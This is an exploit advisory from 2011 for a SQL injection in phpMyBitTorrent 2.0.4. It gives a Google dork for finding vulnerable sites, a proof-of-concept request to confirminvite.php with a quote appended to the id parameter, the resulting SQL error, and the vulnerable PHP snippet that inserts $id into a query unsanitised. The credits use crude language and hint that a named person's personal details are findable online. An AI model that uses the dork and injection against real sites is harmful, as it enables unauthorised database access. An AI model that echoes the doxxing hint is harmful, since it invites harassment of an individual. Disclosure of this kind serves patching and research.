phpMyBitTorrent 2.0.4 – SQL Injection
# Exploit Title: phpMyBitTorrent 2.0.4 SQL injection # Google Dork: inurl:"user.php?op=register" # Date: 14/FEB/2011 # Author: #forkbombers@irc.smashthestack.org # Software Link: http://sourceforge.net/projects/phpmybittorrent/ # Version: 2.0.4 # Tested on: *nix ---------------------------------------------------------------------- [INFO] Sadly although the Google dork returns 36,000 results for this to work the invitation system needs to be enabled for this exploit to work. Fucking useless to me. ---------------------------------------------------------------------- [XPL] localhost/torrents/confirminvite.php?id=1' Error Executing SQL Query SELECT password, active FROM torrent_users WHERE id = ---------------------------------------------------------------------- [CODE] [code] $sql = "SELECT password, active FROM ".$db_prefix."_users WHERE id = $id"; $res = $db->sql_query($sql) or btsqlerror($sql); $row = $db->sql_fetchrow($res); if (!$row) bterror(_bterrusernotexists,_btsorry); if ($row["active"] != '0') { OpenTable(_btsignup); echo "<p>"._btuseralreadyactive."</p>"; CloseTable(); include('footer.php') [/code] ---------------------------------------------------------------------- [CREDS] Thanks to Gumbie@irc.efnet.org for letting me use his box to test :) Fuck ak for being such a bitch (not really <3 u), btw his d0x are g00gleiz3d if you want to give him a call ---------------------------------------------------------------------- |